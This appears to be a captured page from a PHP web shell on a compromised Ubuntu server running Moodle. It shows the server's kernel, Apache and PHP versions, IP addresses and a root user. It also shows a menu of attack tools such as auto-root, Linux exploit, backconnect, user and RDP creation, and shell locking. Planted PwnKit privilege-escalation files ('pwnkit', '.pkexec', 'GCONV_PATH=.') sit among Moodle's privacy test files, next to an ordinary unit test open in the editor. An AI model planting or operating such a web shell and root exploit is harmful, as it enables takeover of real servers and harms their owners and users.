Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
privacy /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
approved_contextlist_test.php
1.98
KB
-rw-rw-r--
collection_test.php
6.62
KB
-rw-rw-r--
contextlist_base_test.php
8.58
KB
-rw-rw-r--
contextlist_collection_test.ph...
5.78
KB
-rw-rw-r--
contextlist_test.php
6.37
KB
-rw-rw-r--
legacy_polyfill_test.php
9.35
KB
-rw-rw-r--
manager_test.php
20.48
KB
-rw-rw-r--
moodle_content_writer_test.php
43.28
KB
-rw-rw-r--
provider_test.php
10.61
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
request_helper_test.php
7.5
KB
-rw-rw-r--
request_transform_test.php
3.93
KB
-rw-rw-r--
sitepolicy_test.php
15.09
KB
-rw-rw-r--
tests_content_writer_test.php
21.15
KB
-rw-rw-r--
types_database_table_test.php
4.35
KB
-rw-rw-r--
types_external_location_test.p...
4.37
KB
-rw-rw-r--
types_plugintype_link_test.php
3.45
KB
-rw-rw-r--
types_subsystem_link_test.php
3.44
KB
-rw-rw-r--
types_user_preference_test.php
3.3
KB
-rw-rw-r--
writer_test.php
3.1
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : collection_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Collection unit tests. * * @package core_privacy * @category test * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; use \core_privacy\local\metadata\collection; use \core_privacy\local\metadata\types; /** * Tests for the \core_privacy API's collection functionality. * * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_privacy_metadata_collection extends advanced_testcase { /** * Test that adding an unknown type causes the type to be added to the collection. */ public function test_add_type_generic_type() { $collection = new collection('core_privacy'); // Mock a new types\type. $mockedtype = $this->createMock(types\type::class); $collection->add_type($mockedtype); $items = $collection->get_collection(); $this->assertCount(1, $items); $this->assertEquals($mockedtype, reset($items)); } /** * Test that adding a known type works as anticipated. */ public function test_add_type_known_type() { $collection = new collection('core_privacy'); $linked = new types\subsystem_link('example', [], 'langstring'); $collection->add_type($linked); $items = $collection->get_collection(); $this->assertCount(1, $items); $this->assertEquals($linked, reset($items)); } /** * Test that adding multiple types returns them all. */ public function test_add_type_multiple() { $collection = new collection('core_privacy'); $a = new types\subsystem_link('example', [], 'langstring'); $collection->add_type($a); $b = new types\subsystem_link('example', [], 'langstring'); $collection->add_type($b); $items = $collection->get_collection(); $this->assertCount(2, $items); } /** * Test that the add_database_table function adds a database table. */ public function test_add_database_table() { $collection = new collection('core_privacy'); $name = 'example'; $fields = ['field' => 'description']; $summary = 'summarisation'; $collection->add_database_table($name, $fields, $summary); $items = $collection->get_collection(); $this->assertCount(1, $items); $item = reset($items); $this->assertInstanceOf(types\database_table::class, $item); $this->assertEquals($name, $item->get_name()); $this->assertEquals($fields, $item->get_privacy_fields()); $this->assertEquals($summary, $item->get_summary()); } /** * Test that the add_user_preference function adds a single user preference. */ public function test_add_user_preference() { $collection = new collection('core_privacy'); $name = 'example'; $summary = 'summarisation'; $collection->add_user_preference($name, $summary); $items = $collection->get_collection(); $this->assertCount(1, $items); $item = reset($items); $this->assertInstanceOf(types\user_preference::class, $item); $this->assertEquals($name, $item->get_name()); $this->assertEquals($summary, $item->get_summary()); } /** * Test that the link_external_location function links an external location. */ public function test_link_external_location() { $collection = new collection('core_privacy'); $name = 'example'; $fields = ['field' => 'description']; $summary = 'summarisation'; $collection->link_external_location($name, $fields, $summary); $items = $collection->get_collection(); $this->assertCount(1, $items); $item = reset($items); $this->assertInstanceOf(types\external_location::class, $item); $this->assertEquals($name, $item->get_name()); $this->assertEquals($fields, $item->get_privacy_fields()); $this->assertEquals($summary, $item->get_summary()); } /** * Test that the link_subsystem function links the subsystem. */ public function test_link_subsystem() { $collection = new collection('core_privacy'); $name = 'example'; $summary = 'summarisation'; $collection->link_subsystem($name, $summary); $items = $collection->get_collection(); $this->assertCount(1, $items); $item = reset($items); $this->assertInstanceOf(types\subsystem_link::class, $item); $this->assertEquals($name, $item->get_name()); $this->assertEquals($summary, $item->get_summary()); } /** * Test that the link_plugintype function links the plugin. */ public function test_link_plugintype() { $collection = new collection('core_privacy'); $name = 'example'; $summary = 'summarisation'; $collection->link_plugintype($name, $summary); $items = $collection->get_collection(); $this->assertCount(1, $items); $item = reset($items); $this->assertInstanceOf(types\plugintype_link::class, $item); $this->assertEquals($name, $item->get_name()); $this->assertEquals($summary, $item->get_summary()); } /** * Data provider to supply a list of valid components. * * @return array */ public function component_list_provider() { return [ ['core_privacy'], ['mod_forum'], ]; } /** * Test that we can get the component correctly. * * The component will be used for string translations. * * @dataProvider component_list_provider * @param string $component The component to test */ public function test_get_component($component) { $collection = new collection($component); $this->assertEquals($component, $collection->get_component()); } }
Close